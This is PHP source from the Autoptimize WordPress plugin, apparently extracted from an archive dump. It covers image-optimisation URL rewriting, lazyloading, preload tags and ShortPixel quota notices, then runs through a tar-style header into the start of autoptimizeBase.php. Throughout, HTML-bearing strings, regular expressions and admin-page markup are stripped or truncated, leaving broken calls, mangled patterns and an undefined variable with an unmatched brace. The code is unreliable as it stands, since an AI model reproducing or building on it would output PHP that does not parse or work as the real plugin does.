$srcset ); } } $tag = str_replace( $orig_srcset, $srcset, $tag ); } } // proceed with img src. // get width and height and add to $imgopt_size. $_get_size = $this->get_size_from_tag( $tag ); $imgopt_w = $_get_size['width']; $imgopt_h = $_get_size['height']; // then start replacing images src. if ( preg_match_all( '#src=(?:"|\')(?!data)(.*)(?:"|\')#Usmi', $tag, $urls, PREG_SET_ORDER ) ) { foreach ( $urls as $url ) { $full_src_orig = $url[0]; $url = $url[1]; if ( $this->can_optimize_image( $url, $tag, $testing ) && false === apply_filters( 'autoptimize_filter_imgopt_do_spai', false ) ) { $imgopt_url = $this->build_imgopt_url( $url, $imgopt_w, $imgopt_h ); $full_imgopt_src = str_replace( $url, $imgopt_url, $full_src_orig ); $tag = str_replace( $full_src_orig, $full_imgopt_src, $tag ); } } } // check if the image needs to be prelaoded. if ( ! empty( $metabox_preloads ) && is_array( $metabox_preloads ) && str_replace( $metabox_preloads, '', $tag ) !== $tag ) { $to_preload .= $this->create_img_preload_tag( $tag ); } // do lazyload stuff. if ( $this->should_lazyload( $in ) && ! empty( $url ) ) { // first do lpiq placeholder logic. if ( strpos( $url, $this->get_imgopt_host() ) === 0 ) { // if all img src have been replaced during srcset, we have to extract the // origin url from the imgopt one to be able to set a lqip placeholder. $_url = substr( $url, strpos( $url, '/http' ) + 1 ); } else { $_url = $url; } $_url = $this->normalize_img_url( $_url ); $placeholder = ''; if ( $this->can_optimize_image( $_url, $tag ) && apply_filters( 'autoptimize_filter_imgopt_lazyload_dolqip', false, $_url ) && false === apply_filters( 'autoptimize_filter_imgopt_do_spai', false ) ) { $lqip_w = ''; $lqip_h = ''; if ( isset( $imgopt_w ) && ! empty( $imgopt_w ) ) { $lqip_w = ',w_' . $imgopt_w; } if ( isset( $imgopt_h ) && ! empty( $imgopt_h ) ) { $lqip_h = ',h_' . $imgopt_h; } $placeholder = $this->get_imgopt_host() . 'client/q_lqip,ret_wait' . $lqip_w . $lqip_h . '/' . $_url; } // then call add_lazyload-function with lpiq placeholder if set. $tag = $this->add_lazyload( $tag, $placeholder ); } // add decoding="async" behind filter, not sure if I'll make it default true yet. if ( true === apply_filters( 'autoptimize_filter_imgopt_add_decoding', true ) && false === strpos( $tag, ' decoding=' ) ) { $tag = str_replace( ']*)?\s' . $candidate[1] . '=(?:"|\')(.+?)(?:"|\')(?:[^>]*)?>/s'; $out = preg_replace_callback( $_regex, array( $this, 'replace_img_callback' ), $out ); } } } // background-image in inline style. if ( ( strpos( $out, 'background-image:' ) !== false || strpos( $out, 'background:' ) !== false ) && strpos( $out, 'url(' ) !== false && apply_filters( 'autoptimize_filter_imgopt_backgroundimages', true ) ) { $out = preg_replace_callback( '/style=(?:"|\')[^<>]*?background(?:-image)?:[^;"\'()>]*url\((?:"|\')?([^"\')]*)(?:"|\')?\)/', array( $this, 'replace_img_callback' ), $out ); } // act on icon links. if ( ( strpos( $out, '/Um', array( $this, 'replace_icon_callback' ), $out ); } // lazyload picture source tags and bgimage. if ( $this->should_lazyload() ) { $out = $this->process_picture_tag( $out, true, true ); $out = $this->process_bgimage( $out ); } else { $out = $this->process_picture_tag( $out, true, false ); } // restore (no)script tags. if ( apply_filters( 'autoptimize_filter_imgopt_hide_script', true ) || $this->should_lazyload() ) { $out = autoptimizeBase::restore_marked_content( 'SCRIPT', $out ); } if ( ! empty( $metabox_preloads ) && is_array( $metabox_preloads ) && empty( $to_preload ) && false !== apply_filters( 'autoptimize_filter_imgopt_dopreloads', true ) ) { // the preload was not in an img tag, so adding a non-responsive preload instead. foreach ( $metabox_preloads as $img_preload ) { $to_preload .= apply_filters( 'autoptimize_filter_imgopt_preload_tag_result', $this->kses_preload_link( '' ) ); } } if ( ! empty( $to_preload ) ) { $out = autoptimizeExtra::inject_preloads( $to_preload, $out ); } return $out; } public static function get_size_from_tag( $tag ) { // reusable function to extract widht and height from an image tag // enforcing a filterable maximum width and height (default 4999X4999). $width = ''; $height = ''; if ( preg_match( '#width=("|\')(.*)("|\')#Usmi', $tag, $_width ) ) { if ( strpos( $_width[2], '%' ) === false ) { $width = (int) $_width[2]; } } if ( preg_match( '#height=("|\')(.*)("|\')#Usmi', $tag, $_height ) ) { if ( strpos( $_height[2], '%' ) === false ) { $height = (int) $_height[2]; } } // check for and enforce (filterable) max sizes. $_max_width = apply_filters( 'autoptimize_filter_imgopt_max_width', 4999 ); if ( $width > $_max_width ) { $_width = $_max_width; if ( ! empty( $height ) && is_int( $height ) ) { $height = $_width / $width * $height; } $width = $_width; } $_max_height = apply_filters( 'autoptimize_filter_imgopt_max_height', 4999 ); if ( $height > $_max_height ) { $_height = $_max_height; if ( ! empty( $width ) && is_int( $width ) ) { $width = $_height / $height * $width; } $height = $_height; } return array( 'width' => $width, 'height' => $height, ); } /** * Lazyload functions */ public static function should_lazyload_wrapper( $no_meta = false ) { // needed in autoptimizeMain.php. $self = new self(); return $self->should_lazyload( '', $no_meta ); } public function should_lazyload( $context = '', $no_meta = false ) { if ( ! empty( $this->options['autoptimize_imgopt_checkbox_field_3'] ) && false === $this->check_nolazy() ) { $lazyload_return = true; } else { $lazyload_return = false; } // If page/ post check post_meta to see if lazyload is off for page. if ( false === $no_meta && false === autoptimizeConfig::get_post_meta_ao_settings( 'ao_post_lazyload' ) ) { $lazyload_return = false; } $lazyload_return = apply_filters( 'autoptimize_filter_imgopt_should_lazyload', $lazyload_return, $context ); return $lazyload_return; } public static function check_nolazy() { if ( array_key_exists( 'ao_nolazy', $_GET ) && '1' === $_GET['ao_nolazy'] ) { return true; } else { return false; } } public function filter_lazyload_images( $in ) { // only used is image optimization is NOT active but lazyload is. $to_replace = array(); $to_preload = ''; // hide (no)script tags to avoid nesting noscript tags (as lazyloaded images add noscript). $out = autoptimizeBase::replace_contents_with_marker_if_exists( 'SCRIPT', '#is', $in ); // get img preloads as set in post metabox. $metabox_preloads = array_filter( array_map( 'trim', explode( ',', wp_strip_all_tags( autoptimizeConfig::get_post_meta_ao_settings( 'ao_post_preload' ) ) ) ) ); // extract img tags and add lazyload attribs/ add preloads. if ( preg_match_all( '#]*src[^>]*>#Usmi', $out, $matches ) ) { foreach ( $matches[0] as $tag ) { // check if image needs to be preloaded. if ( ! empty( $metabox_preloads ) && is_array( $metabox_preloads ) && str_replace( $metabox_preloads, '', $tag ) !== $tag ) { $to_preload .= $this->create_img_preload_tag( $tag ); } // and lazyloaded. if ( $this->should_lazyload( $out ) ) { $to_replace[ $tag ] = $this->add_lazyload( $tag ); } } $out = str_replace( array_keys( $to_replace ), array_values( $to_replace ), $out ); } // and also lazyload picture tag. $out = $this->process_picture_tag( $out, false, true ); // and inline style blocks with background-image. $out = $this->process_bgimage( $out ); // restore noscript tags. $out = autoptimizeBase::restore_marked_content( 'SCRIPT', $out ); if ( ! empty( $metabox_preloads ) && is_array( $metabox_preloads ) && empty( $to_preload ) && false !== apply_filters( 'autoptimize_filter_imgopt_dopreloads', true ) ) { // the preload was not in an img tag, so adding a non-responsive preload instead. foreach ( $metabox_preloads as $img_preload ) { $to_preload .= apply_filters( 'autoptimize_filter_imgopt_preload_tag_result', $this->kses_preload_link( '' ) ); } } if ( ! empty( $to_preload ) ) { $out = autoptimizeExtra::inject_preloads( $to_preload, $out ); } return $out; } public function add_lazyload( $tag, $placeholder = '' ) { // adds actual lazyload-attributes to an image node. $this->lazyload_counter++; $_lazyload_from_nth = ''; if ( array_key_exists( 'autoptimize_imgopt_number_field_7', $this->options ) ) { $_lazyload_from_nth = $this->options['autoptimize_imgopt_number_field_7']; } $_lazyload_from_nth = apply_filters( 'autoptimize_filter_imgopt_lazyload_from_nth', $_lazyload_from_nth ); if ( str_ireplace( $this->get_lazyload_exclusions(), '', $tag ) === $tag && $this->lazyload_counter >= $_lazyload_from_nth ) { $tag = $this->maybe_fix_missing_quotes( $tag ); // store original tag for use in noscript version. $noscript_tag = ''; $lazyload_class = apply_filters( 'autoptimize_filter_imgopt_lazyload_class', 'lazyload' ); // insert lazyload class. $tag = $this->inject_classes_in_tag( $tag, "$lazyload_class " ); if ( ! $placeholder || empty( $placeholder ) ) { // get image width & heigth for placeholder fun (and to prevent content reflow). $_get_size = $this->get_size_from_tag( $tag ); $width = $_get_size['width']; $height = $_get_size['height']; if ( false === $width || empty( $width ) ) { $width = 210; // default width for SVG placeholder. } if ( false === $height || empty( $height ) ) { $height = $width / 3 * 2; // if no height, base it on width using the 3/2 aspect ratio. } // insert the actual lazyload stuff. // see https://css-tricks.com/preventing-content-reflow-from-lazy-loaded-images/ for great read on why we're using empty svg's. $placeholder = apply_filters( 'autoptimize_filter_imgopt_lazyload_placeholder', $this->get_default_lazyload_placeholder( $width, $height ) ); } $tag = str_replace( ' src=', ' data-src=', $tag ); $tag = str_replace( ' srcset=', ' data-srcset=', $tag ); $tag = str_replace( '' ); echo apply_filters( 'autoptimize_filter_imgopt_lazyload_jsconfig', 'window.lazySizesConfig=window.lazySizesConfig||{};window.lazySizesConfig.loadMode=1;' ); echo apply_filters( 'autoptimize_filter_imgopt_lazyload_js', '' ); } public function create_img_preload_tag( $tag ) { if ( false === apply_filters( 'autoptimize_filter_imgopt_dopreloads', true ) ) { return ''; } // clean up; remove tabs/ linebreaks/ spaces. $tag = preg_replace( '/\s+/', ' ', $tag ); // remove noscript. if ( false !== strpos( $tag, '/mU', '', $tag ); } // rewrite img tag to link preload img. $_from = array( ' array( 'rel' => true, 'as' => true, 'href' => true, 'imagesizes' => true, 'imagesrcset' => true, 'type' => true, 'media' => true, 'fetchpriority' => true, ), ); $_preload = wp_kses( $_preload, $allowed_html ); return $_preload; } public static function get_cdn_url() { // getting CDN url here to avoid having to make bigger changes to autoptimizeBase. static $cdn_url = null; if ( null === $cdn_url ) { $cdn_url = autoptimizeOptionWrapper::get_option( 'autoptimize_cdn_url', '' ); $cdn_url = autoptimizeUtils::tweak_cdn_url_if_needed( $cdn_url ); $cdn_url = apply_filters( 'autoptimize_filter_base_cdnurl', $cdn_url ); } return $cdn_url; } public function get_lazyload_exclusions() { // returns array of strings that if found in an options; // set default exclusions. $exclude_lazyload_array = array( 'skip-lazy', 'data-no-lazy', 'notlazy', 'data-src', 'data-srcset', 'data:image/', 'data-lazyload', 'rev-slidebg', 'loading="eager"', 'fetchpriority="high"' ); // add from setting. if ( array_key_exists( 'autoptimize_imgopt_text_field_5', $options ) ) { $exclude_lazyload_option = $options['autoptimize_imgopt_text_field_5']; if ( ! empty( $exclude_lazyload_option ) ) { $exclude_lazyload_array = array_merge( $exclude_lazyload_array, array_filter( array_map( 'trim', explode( ',', $options['autoptimize_imgopt_text_field_5'] ) ) ) ); } } // and filter for developer-initiated changes. $exclude_lazyload_array = apply_filters( 'autoptimize_filter_imgopt_lazyload_exclude_array', $exclude_lazyload_array ); } return $exclude_lazyload_array; } public function inject_classes_in_tag( $tag, $target_class ) { if ( strpos( $tag, 'class=' ) !== false ) { $tag = preg_replace( '/(\sclass\s?=\s?("|\'))/', '$1' . $target_class, $tag ); } else { $tag = preg_replace( '/(<[a-zA-Z]*)\s/', '$1 class="' . trim( $target_class ) . '" ', $tag ); } return $tag; } public function get_default_lazyload_placeholder( $imgopt_w, $imgopt_h ) { return 'data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20' . $imgopt_w . '%20' . $imgopt_h . '%22%3E%3C/svg%3E'; } public function should_ngimg() { static $ngimg_return = null; if ( is_null( $ngimg_return ) ) { // nextgen img only works if imgopt is active. if ( ! empty( $this->options['autoptimize_imgopt_checkbox_field_4'] ) && $this->imgopt_active() ) { $ngimg_return = true; } else { $ngimg_return = false; } } return $ngimg_return; } public function process_picture_tag( $in, $imgopt = false, $lazy = false ) { // check if ". if ( strpos( $in, 'get_lazyload_exclusions(); $to_replace_pict = array(); // extract and process each picture-node. preg_match_all( '##Usmi', $in, $_pictures, PREG_SET_ORDER ); foreach ( $_pictures as $_picture ) { $_picture = $this->maybe_fix_missing_quotes( $_picture ); if ( strpos( $_picture[0], '#Usmi', $_picture[0], $_sources, PREG_SET_ORDER ) !== false ) { foreach ( $_sources as $_source ) { $_picture_replacement = $_source[0]; // should we optimize the image? if ( $imgopt && $this->can_optimize_image( $_source[1], $_picture[0] ) ) { $_picture_replacement = str_replace( $_source[1], $this->build_imgopt_url( $_source[1] ), $_picture_replacement ); } // should we lazy-load? if ( $lazy && $this->should_lazyload() && str_ireplace( $_exclusions, '', $_picture_replacement ) === $_picture_replacement ) { $_picture_replacement = str_replace( ' srcset=', ' data-srcset=', $_picture_replacement ); } $to_replace_pict[ $_source[0] ] = $_picture_replacement; } } } // and return the fully procesed $in. $out = str_replace( array_keys( $to_replace_pict ), array_values( $to_replace_pict ), $in ); return $out; } public function process_bgimage( $in ) { if ( strpos( $in, 'background-image:' ) !== false && apply_filters( 'autoptimize_filter_imgopt_lazyload_backgroundimages', true ) ) { $out = preg_replace_callback( '/(<(?:article|aside|body|div|footer|header|p|section|span|table)[^>]*)\sstyle=(?:"|\')[^<>]*?background-image:\s?url\((?:"|\')?([^"\')]*)(?:"|\')?\)[^>]*/', array( $this, 'lazyload_bgimg_callback' ), $in ); return $out; } return $in; } public function lazyload_bgimg_callback( $matches ) { if ( str_ireplace( $this->get_lazyload_exclusions(), '', $matches[0] ) === $matches[0] ) { // get placeholder & lazyload class strings. $placeholder = apply_filters( 'autoptimize_filter_imgopt_lazyload_placeholder', $this->get_default_lazyload_placeholder( 500, 300 ) ); $lazyload_class = apply_filters( 'autoptimize_filter_imgopt_lazyload_class', 'lazyload' ); // remove quotes from url() to be able to replace in next step. $out = str_replace( array( "url('" . $matches[2] . "')", 'url("' . $matches[2] . '")' ), 'url(' . $matches[2] . ')', $matches[0] ); // replace background-image URL with SVG placeholder. $out = str_replace( 'url(' . $matches[2], 'url(' . $placeholder, $out ); // sanitize bgimg src for quote sillyness. $bgimg_src = $this->fix_silly_bgimg_quotes( $matches[2] ); // add data-bg attribute with real background-image URL for lazyload to pick up. $out = str_replace( $matches[1], $matches[1] . ' data-bg="' . $bgimg_src . '"', $out ); // and finally add lazyload class to tag. $out = $this->inject_classes_in_tag( $out, "$lazyload_class " ); return $out; } return $matches[0]; } public function fix_silly_bgimg_quotes( $tag_in ) { // some themes/ pagebuilders wrap backgroundimages in HTML-encoded quotes (or linebreaks) which breaks imgopt/ lazyloading, this removes them. return trim( str_replace( array( "\r\n", '"', '"', '"', ''', ''' ), '', $tag_in ) ); } public function maybe_fix_missing_quotes( $tag_in ) { // W3TC's Minify_HTML class removes quotes around attribute value, this re-adds them for the class and width/height attributes so we can lazyload properly. if ( file_exists( WP_PLUGIN_DIR . '/w3-total-cache/w3-total-cache.php' ) && class_exists( 'Minify_HTML' ) && apply_filters( 'autoptimize_filter_imgopt_fixquotes', true ) ) { $tag_out = preg_replace( '/class\s?=([^("|\')]*)(\s|>)/U', 'class=\'$1\'$2', $tag_in ); $tag_out = preg_replace( '/\s(width|height)=(?:"|\')?([^\s"\'>]*)(?:"|\')?/', ' $1=\'$2\'', $tag_out ); return $tag_out; } else { return $tag_in; } } /** * Admin page logic and related functions below. */ public function imgopt_admin_menu() { // no acces if multisite and not network admin and no site config allowed. if ( autoptimizeConfig::should_show_menu_tabs() ) { add_submenu_page( '', 'autoptimize_imgopt', 'autoptimize_imgopt', 'manage_options', 'autoptimize_imgopt', array( $this, 'imgopt_options_page' ) ); } register_setting( 'autoptimize_imgopt_settings', 'autoptimize_imgopt_settings' ); } public function add_imgopt_tab( $in ) { if ( autoptimizeConfig::should_show_menu_tabs() ) { $in = array_merge( $in, array( 'autoptimize_imgopt' => apply_filters( 'autoptimize_filter_imgopt_tab_text', esc_html__( 'Images', 'autoptimize' ) ) ) ); } return $in; } public function imgopt_options_page() { // phpcs:disable Squiz.ControlStructures.ControlSignature.NewlineAfterOpenBrace // phpcs:disable Generic.Formatting.DisallowMultipleStatements.SameLine // Check querystring for "refreshCacheChecker" and call cachechecker if so. if ( array_key_exists( 'refreshImgProvStats', $_GET ) && 1 == $_GET['refreshImgProvStats'] ) { $this->query_img_provider_stats( true ); } $options = $this->fetch_options(); $sp_url_suffix = $this->get_service_url_suffix(); ?>

', '' ); ?>

launch_ok() ) { ?>

', '' ); ?>

' method='post'>

> > should_ngimg() ) { ?> > > >
get_imgopt_status_notice(); if ( $_notice ) { switch ( $_notice['status'] ) { case 2: $_notice_color = 'green'; break; case 1: $_notice_color = 'orange'; break; case -1: case -2: case -3: $_notice_color = 'red'; break; default: $_notice_color = 'green'; } echo apply_filters( 'autoptimize_filter_imgopt_settings_status', '

' . esc_html__( 'Shortpixel status: ', 'autoptimize' ) . '' . $_notice['notice'] . '

' ); } else { // translators: link points to shortpixel. $upsell_msg_1 = '

' . sprintf( esc_html__( 'Get more Google love by speeding up your website. Start serving on-the-fly optimized images (also in the "next-gen" %4$sWebP%5$s image format) by %1$sShortPixel%2$s. No additional image optimization plugins are needed: your images are optimized, cached and served from %3$sShortPixel\'s global CDN%2$s.', 'autoptimize' ), '', '', '', '', '' ); if ( 'launch' === $options['availabilities']['extra_imgopt']['status'] ) { $upsell_msg_2 = sprintf( esc_html__( 'For a limited time only, this service is offered free for all Autoptimize users, %1$sdon\'t miss the chance to test it%2$s and see how much it could improve your site\'s speed.', 'autoptimize' ), '', '' ); } else { // translators: 1st link points to autoptimize.com.pro, 2nd to shortpixel. $upsell_msg_2 = sprintf( esc_html__( 'For (nearly) %5$sunlimited image optimizations %1$sbuy Autoptimize Pro%2$s%6$s which also includes Critical CSS and extra "booster" options or %3$ssign up at Shortpixel%4$s.', 'autoptimize' ), '', '', '', '', '', '' ); } echo apply_filters( 'autoptimize_filter_imgopt_settings_copy', $upsell_msg_1 . ' ' . $upsell_msg_2 . '

' ); } // translators: link points to shortpixel FAQ. $faqcopy = sprintf( esc_html__( '%3$sQuestions%4$s? Take a look at the %1$sAutoptimize + ShortPixel FAQ%2$s!', 'autoptimize' ), '', '', '', '' ); $faqcopy = $faqcopy . ' ' . esc_html__( 'Only works for websites and images that are publicly available.', 'autoptimize' ); // translators: links points to shortpixel TOS & Privacy Policy. $toscopy = sprintf( esc_html__( 'Usage of this feature is subject to Shortpixel\'s %1$sTerms of Use%2$s and %3$sPrivacy policy%4$s.', 'autoptimize' ), '', '', '', '' ); echo apply_filters( 'autoptimize_filter_imgopt_settings_tos', '

' . $faqcopy . ' ' . $toscopy . '

' ); ?>

', '' ) ); ?>

get_img_quality_setting() && $this->should_ngimg() ) { _e( 'Your Image optimization quality is set to "lossless", but AVIF files can end up being bigger than jpeg or webp for lossless images, so consider choosing a different quality or disable the AVIF option.', 'autoptimize' ); } ?>

imgopt_active() && apply_filters( 'autoptimize_filter_imgopt_status_shortpixel', true ) ) { $_imgopt_notice = ''; $_stat = autoptimizeOptionWrapper::get_option( 'autoptimize_imgopt_provider_stat', '' ); $_site_host = AUTOPTIMIZE_SITE_DOMAIN; $_imgopt_upsell = 'https://misc.optimizingmatters.com/partners/?from=aofree&partner=shortpixelupsell'; $_imgopt_assoc = 'https://shortpixel.helpscoutdocs.com/article/94-how-to-associate-a-domain-to-my-account'; $_imgopt_unreach = 'https://shortpixel.helpscoutdocs.com/article/148-why-are-my-images-redirected-from-cdn-shortpixel-ai'; if ( is_array( $_stat ) ) { if ( 1 == $_stat['Status'] ) { // translators: "add more credits" will appear in a "a href". $_imgopt_notice = sprintf( esc_html__( 'Your ShortPixel image optimization and CDN quota is almost used, make sure you %1$sadd more credits%2$s to avoid slowing down your website %4$sor consider using %3$sAutoptimize Pro%2$s which comes with (nearly) unlimited image optimization%5$s but also automated critical CSS and extra booster options.', 'autoptimize' ), '', '', '', '', '' ); } elseif ( -1 == $_stat['Status'] || -2 == $_stat['Status'] ) { // translators: "add more credits" will appear in a "a href". $_imgopt_notice = sprintf( esc_html__( 'Your ShortPixel image optimization and CDN quota has been exhausted, %1$sadd more credits%2$s to continue to quickly deliver optimized images on your website %4$sor consider using %3$sAutoptimize Pro%2$s which comes with (nearly) unlimited image optimization%5$s but also automated critical CSS and extra booster options.', 'autoptimize' ), '', '', '', '', '' ); // translators: "associate your domain" will appear in a "a href". $_imgopt_notice = $_imgopt_notice . ' ' . sprintf( esc_html__( 'If you have enough CDN quota remaining, then you may need to %1$sassociate your domain%2$s to your Shortpixel account.', 'autoptimize' ), '', '' ); } elseif ( -3 == $_stat['Status'] ) { // translators: "check the documentation here" will appear in a "a href". $_imgopt_notice = sprintf( esc_html__( 'It seems ShortPixel image optimization is not able to fetch images from your site, %1$scheck the documentation here%2$s for more information', 'autoptimize' ), '', '' ); } else { $_imgopt_upsell = 'https://misc.optimizingmatters.com/partners/?from=aofree&partner=shortpixelupsell'; // translators: "log in to check your account" will appear in a "a href". $_imgopt_notice = sprintf( esc_html__( 'Your ShortPixel image optimization and CDN quota are in good shape, %1$slog in to check your account%2$s.', 'autoptimize' ), '', '' ); } // add info on freshness + refresh link if status is not 2 (good shape). if ( 2 != $_stat['Status'] ) { $_imgopt_stats_refresh_url = add_query_arg( array( 'page' => 'autoptimize_imgopt', 'refreshImgProvStats' => '1', ), admin_url( 'options-general.php' ) ); if ( $_stat && array_key_exists( 'timestamp', $_stat ) && ! empty( $_stat['timestamp'] ) ) { $_imgopt_stats_last_run = esc_html__( 'based on status at ', 'autoptimize' ) . date_i18n( autoptimizeOptionWrapper::get_option( 'time_format' ), $_stat['timestamp'] ); } else { $_imgopt_stats_last_run = esc_html__( 'based on previously fetched data', 'autoptimize' ); } $_imgopt_notice .= ' (' . $_imgopt_stats_last_run . ', '; // translators: "here to refresh" links to the Autoptimize Extra page and forces a refresh of the img opt stats. $_imgopt_notice .= sprintf( esc_html__( 'you can click %1$shere to refresh your quota status%2$s', 'autoptimize' ), '', ').' ); } // and make the full notice filterable. $_imgopt_notice = apply_filters( 'autoptimize_filter_imgopt_notice', $_imgopt_notice ); return array( 'status' => $_stat['Status'], 'notice' => $_imgopt_notice, ); } } return false; } public static function get_imgopt_status_notice_wrapper() { // needed for notice being shown in autoptimizeCacheChecker.php. $self = new self(); return $self->get_imgopt_status_notice(); } /** * Get img provider stats (used to display notice). * * @param bool $_refresh Should the stats be forcefully refreshed or not. */ public function query_img_provider_stats( $_refresh = false ) { if ( ! empty( $this->options['autoptimize_imgopt_checkbox_field_1'] ) && apply_filters( 'autoptimize_filter_imgopt_status_shortpixel', true ) ) { $url = ''; $stat_dom = 'https://no-cdn.shortpixel.ai/'; $endpoint = $stat_dom . 'read-domain/'; $domain = AUTOPTIMIZE_SITE_DOMAIN; // make sure parse_url result makes sense, keeping $url empty if not. if ( $domain && ! empty( $domain ) ) { $url = $endpoint . $domain; if ( true === $_refresh ) { $url = $url . '/refresh'; } } $url = apply_filters( 'autoptimize_filter_imgopt_stat_url', $url ); // only do the remote call if $url is not empty to make sure no parse_url // weirdness results in useless calls. if ( ! empty( $url ) ) { $response = wp_remote_get( $url ); if ( ! is_wp_error( $response ) ) { if ( '200' == wp_remote_retrieve_response_code( $response ) ) { $stats = json_decode( wp_remote_retrieve_body( $response ), true ); autoptimizeOptionWrapper::update_option( 'autoptimize_imgopt_provider_stat', $stats ); } } } } } public static function get_img_provider_stats() { // wrapper around query_img_provider_stats() so we can get to $this->options from cronjob() in autoptimizeCacheChecker. $self = new self(); return $self->query_img_provider_stats(); } /** * Determines and returns the service launch status. * * @return bool */ public function launch_ok() { static $launch_status = null; if ( null === $launch_status ) { $avail_imgopt = ''; if ( is_array( $this->options ) && array_key_exists( 'availabilities', $this->options ) && is_array( $this->options['availabilities'] ) && array_key_exists( 'extra_imgopt', $this->options['availabilities'] ) ) { $avail_imgopt = $this->options['availabilities']['extra_imgopt']; } $magic_number = intval( substr( md5( parse_url( AUTOPTIMIZE_WP_SITE_URL, PHP_URL_HOST ) ), 0, 3 ), 16 ); $has_launched = autoptimizeOptionWrapper::get_option( 'autoptimize_imgopt_launched', '' ); $launch_status = false; if ( $has_launched || ( is_array( $avail_imgopt ) && array_key_exists( 'launch-threshold', $avail_imgopt ) && $magic_number < $avail_imgopt['launch-threshold'] ) ) { $launch_status = true; if ( ! $has_launched ) { autoptimizeOptionWrapper::update_option( 'autoptimize_imgopt_launched', 'on' ); } } } return $launch_status; } public static function launch_ok_wrapper() { // needed for "plug" notice in autoptimizeMain.php. $self = new self(); return $self->launch_ok(); } public function get_imgopt_provider_userstatus() { static $_provider_userstatus = null; if ( is_null( $_provider_userstatus ) ) { $_stat = autoptimizeOptionWrapper::get_option( 'autoptimize_imgopt_provider_stat', '' ); if ( is_array( $_stat ) ) { if ( array_key_exists( 'Status', $_stat ) ) { $_provider_userstatus['Status'] = $_stat['Status']; } else { // if no stats then we assume all is well. $_provider_userstatus['Status'] = 2; } if ( array_key_exists( 'timestamp', $_stat ) ) { $_provider_userstatus['timestamp'] = $_stat['timestamp']; } else { // if no timestamp then we return "". $_provider_userstatus['timestamp'] = ''; } } else { // no provider_stat yet, assume/ return all OK. $_provider_userstatus['Status'] = 2; $_provider_userstatus['timestamp'] = ''; } } return $_provider_userstatus; } } plugins/autoptimize-/classes/autoptimizeBase.php000064400000056465152335264760016224 0ustar00content = $content; } /** * Reads the page and collects tags. * * @param array $options Options. * * @return bool */ abstract public function read( $options ); /** * Joins and optimizes collected things. * * @return bool */ abstract public function minify(); /** * Caches the things. * * @return void */ abstract public function cache(); /** * Returns the content * * @return string */ abstract public function getcontent(); /** * Tranfsorms a given URL to a full local filepath if possible. * Returns local filepath or false. * * @param string $url URL to transform. * * @return bool|string */ public function getpath( $url ) { $url = apply_filters( 'autoptimize_filter_cssjs_alter_url', $url ); if ( is_null( $url ) ) { return false; } if ( false !== strpos( $url, '%' ) ) { $url = urldecode( $url ); } $site_host = parse_url( AUTOPTIMIZE_WP_SITE_URL, PHP_URL_HOST ); $content_host = parse_url( AUTOPTIMIZE_WP_ROOT_URL, PHP_URL_HOST ); // Normalizing attempts... $double_slash_position = strpos( $url, '//' ); if ( 0 === $double_slash_position ) { if ( is_ssl() ) { $url = 'https:' . $url; } else { $url = 'http:' . $url; } } elseif ( ( false === $double_slash_position ) && ( false === strpos( $url, $site_host ) ) ) { if ( AUTOPTIMIZE_WP_SITE_URL === $site_host ) { $url = AUTOPTIMIZE_WP_SITE_URL . $url; } elseif ( 0 === strpos( $url, '/' ) ) { $url = '//' . $site_host . autoptimizeUtils::path_canonicalize( $url ); } else { $url = AUTOPTIMIZE_WP_SITE_URL . autoptimizeUtils::path_canonicalize( $url ); } } if ( $site_host !== $content_host ) { $url = str_replace( AUTOPTIMIZE_WP_CONTENT_URL, AUTOPTIMIZE_WP_SITE_URL . AUTOPTIMIZE_WP_CONTENT_NAME, $url ); } // First check; hostname wp site should be hostname of url! $url_host = @parse_url( $url, PHP_URL_HOST ); // @codingStandardsIgnoreLine if ( $url_host !== $site_host ) { /** * First try to get all domains from WPML (if available) * then explicitely declare $this->cdn_url as OK as well * then apply own filter autoptimize_filter_cssjs_multidomain takes an array of hostnames * each item in that array will be considered part of the same WP multisite installation */ $multidomains = array(); $multidomains_wpml = apply_filters( 'wpml_setting', array(), 'language_domains' ); if ( ! empty( $multidomains_wpml ) ) { $multidomains = array_map( array( $this, 'get_url_hostname' ), $multidomains_wpml ); } if ( ! empty( $this->cdn_url ) ) { $multidomains[] = parse_url( $this->cdn_url, PHP_URL_HOST ); } $multidomains = apply_filters( 'autoptimize_filter_cssjs_multidomain', $multidomains ); if ( ! empty( $multidomains ) ) { if ( in_array( $url_host, $multidomains ) ) { $url = str_replace( $url_host, $site_host, $url ); } else { return false; } } else { return false; } } // Try to remove "wp root url" from url while not minding http<>https. $tmp_ao_root = preg_replace( '/https?:/', '', AUTOPTIMIZE_WP_ROOT_URL ); if ( $site_host !== $content_host ) { // As we replaced the content-domain with the site-domain, we should match against that. $tmp_ao_root = preg_replace( '/https?:/', '', AUTOPTIMIZE_WP_SITE_URL ); } if ( is_multisite() && ! is_main_site() && ! empty( $this->cdn_url ) && apply_filters( 'autoptimize_filter_base_getpage_multisite_cdn_juggling', true ) ) { // multisite child sites with CDN need the network_site_url as tmp_ao_root but only if directory-based multisite. $_network_site_url = network_site_url(); if ( strpos( AUTOPTIMIZE_WP_SITE_URL, $_network_site_url ) !== false ) { $tmp_ao_root = preg_replace( '/https?:/', '', $_network_site_url ); } } $tmp_url = preg_replace( '/https?:/', '', $url ); $path = str_replace( $tmp_ao_root, '', $tmp_url ); // If path starts with :// or //, this is not a URL in the WP context and // we have to assume we can't aggregate. if ( preg_match( '#^:?//#', $path ) ) { // External script/css (adsense, etc). return false; } // Prepend with WP_ROOT_DIR to have full path to file. $path = str_replace( '//', '/', trailingslashit( WP_ROOT_DIR ) . $path ); // Allow path to be altered, e.g. in the case of bedrock-like setups where // core, theme & plugins might be in different locations on the filesystem. $path = apply_filters( 'autoptimize_filter_base_getpath_path', $path, $url ); // Final check: does file exist and is it readable? if ( file_exists( $path ) && is_file( $path ) && is_readable( $path ) ) { return $path; } else { return false; } } /** * Returns the hostname part of a given $url if we're able to parse it. * If not, it returns the original url (prefixed with http:// scheme in case * it was missing). * Used as callback for WPML multidomains filter. * * @param string $url URL. * * @return string */ protected function get_url_hostname( $url ) { // Checking that the url starts with something vaguely resembling a protocol. if ( ( 0 !== strpos( $url, 'http' ) ) && ( 0 !== strpos( $url, '//' ) ) ) { $url = 'http://' . $url; } // Grab the hostname. $hostname = parse_url( $url, PHP_URL_HOST ); // Fallback when parse_url() fails. if ( empty( $hostname ) ) { $hostname = $url; } return $hostname; } /** * Hides everything between noptimize-comment tags. * * @param string $markup Markup to process. * * @return string */ protected function hide_noptimize( $markup ) { return $this->replace_contents_with_marker_if_exists( 'NOPTIMIZE', '//', '#.*?#is', $markup ); } /** * Unhide noptimize-tags. * * @param string 